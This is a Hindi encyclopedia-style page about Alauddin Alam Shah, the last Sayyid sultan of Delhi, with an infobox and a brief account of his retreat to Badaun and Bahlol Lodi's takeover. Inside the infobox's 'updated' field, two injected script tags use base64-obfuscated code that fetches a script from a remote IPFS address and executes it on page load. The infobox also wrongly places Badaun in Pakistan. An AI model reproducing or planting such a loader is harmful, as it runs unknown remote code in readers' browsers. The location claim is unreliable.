"अलाउद्दीन आलमशाह" के अवतरणों में अंतर
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अलाउद्दीन आलमशाह
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पूरा नाम | अलाउद्दीन आलमशाह |
मृत्यु तिथि | 1476 |
मृत्यु स्थान | बदायूँ, पाकिस्तान |
पिता/माता | मुहम्मदशाह, (पिता) |
शा. अवधि | (1445-1450 ई.) |
राज्याभिषेक | (1445 ई.) |
वंश | सैय्यद वंश |
अन्य जानकारी | 'अलाउद्दीन आलमशाह' को अपने वज़ीर हमीद ख़ाँ से अनबन होने के कारण दिल्ली छोड़कर बदायूँ में शरण लेनी पड़ी |
अद्यतन | 12:28, 3 नवम्बर 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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अलाउद्दीन (1445-1450 ई.) सैयद वंश के मुहम्मदशाह का पुत्र था। मुहम्मदशाह की मृत्यु के बाद अलाउद्दीन ने 'आलमशाह' की उपाधि ग्रहण की और अलाउद्दीन आलमशाह के नाम से सिंहासन पर बैठा।
- वह आराम पसन्द एवं विलासी प्रवृत्ति का व्यक्ति था।
- अलाउद्दीन आलमशाह को अपने वज़ीर हमीद ख़ाँ से अनबन होने के कारण दिल्ली छोड़कर बदायूँ में शरण लेनी पड़ी तथा हमीद ख़ाँ ने बहलोल लोदी को दिल्ली आमंत्रित किया।
- बहलोल लोदी ने दिल्ली आने के कुछ दिन बाद हमीद ख़ाँ की हत्या करवाकर 1450 ई. में दिल्ली प्रशासन को अपने अधिकार में कर लिया।
- दूसरी तरफ सुल्तान अलाउद्दीन आलमशाह ने अपने को बदायूँ में ही सुरक्षित महसूस किया और वहीं पर 1476 ई. में उसकी मृत्यु हो गई।
- इस प्रकार लगभग 37 वर्ष के बाद सैय्यद वंश समाप्त हो गया।
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